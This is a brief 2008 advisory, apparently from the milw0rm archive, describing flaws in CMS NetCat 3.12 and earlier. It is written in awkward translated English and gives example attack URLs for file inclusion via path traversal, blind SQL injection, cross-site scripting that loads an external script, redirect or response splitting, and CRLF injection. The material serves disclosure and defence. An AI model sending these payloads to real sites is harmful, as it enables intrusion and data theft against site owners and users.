CMS NetCat 3.12 - Multiple Vulnerabilities


Author:

s4avrd0w

Type:

webapps

Platform:

PHP

Published:

2008-12-23

NetCat <= 3.12 Multiple Remote Vulnerabilities

The description:
The set vulnerability in CMS NetCat versions 3.12 and more low was revealed.

1. Multiple File Including Vulnerabilities

Vulnerability exists for the reason that direct access to some files, around logicians of work of the appendix is possible.
It gives the chance to redefine internal variables which are transferred as arguments in function include ().
Examples of vulnerable files:
/netcat/modules/netshop/post.php?system=../../../../.htaccess%00
/netcat/modules/auth.inc.php?INCLUDE_FOLDER=../../.htaccess%00
/netcat/modules/banner.inc.php?INCLUDE_FOLDER=../../.htaccess%00
/netcat/modules/blog.inc.php?INCLUDE_FOLDER=../../.htaccess%00
/netcat/modules/forum.inc.php?INCLUDE_FOLDER=../../.htaccess%00

The note:
For vulnerability operation the following options PHP are required: register_globals=On and magic_quotes_gpc=Off

2. Blind SQL Injection Vulnerabilities

Examples of vulnerable files:
/netcat/modules/auth/password_recovery.php?=1'SQL_code

Example:
/netcat/modules/auth/password_recovery.php?=1'/**/OR/**/VERSION()/**/LIKE/**/'4%'/*

The note:
For vulnerability operation the following options PHP are required:magic_quotes_gpc=Off

3. Multiple Cross-site Scripting Vulnerabilities

Examples of vulnerable files: 
/netcat/admin/siteinfo/iframe.inc.php?path=http://ha.ckers.org/scriptlet.html" 
/netcat/FCKeditor/neditor.php?form=<XSS>&control=<XSS> etc.

4. HTTP Response Splitting

Examples of vulnerable files: 
/netcat/modules/auth/index.php?logoff=1&redirect=http://www.google.com 
/netcat/modules/linkmanager/redirect.php?url=http://www.google.com

5. CRLF injection 

Vulnerability exists at the moment of value installation %0a in COOKIEvariables.
Vulnerability has been found out at the reference to a file /netcat/add.php.

# milw0rm.com [2008-12-23]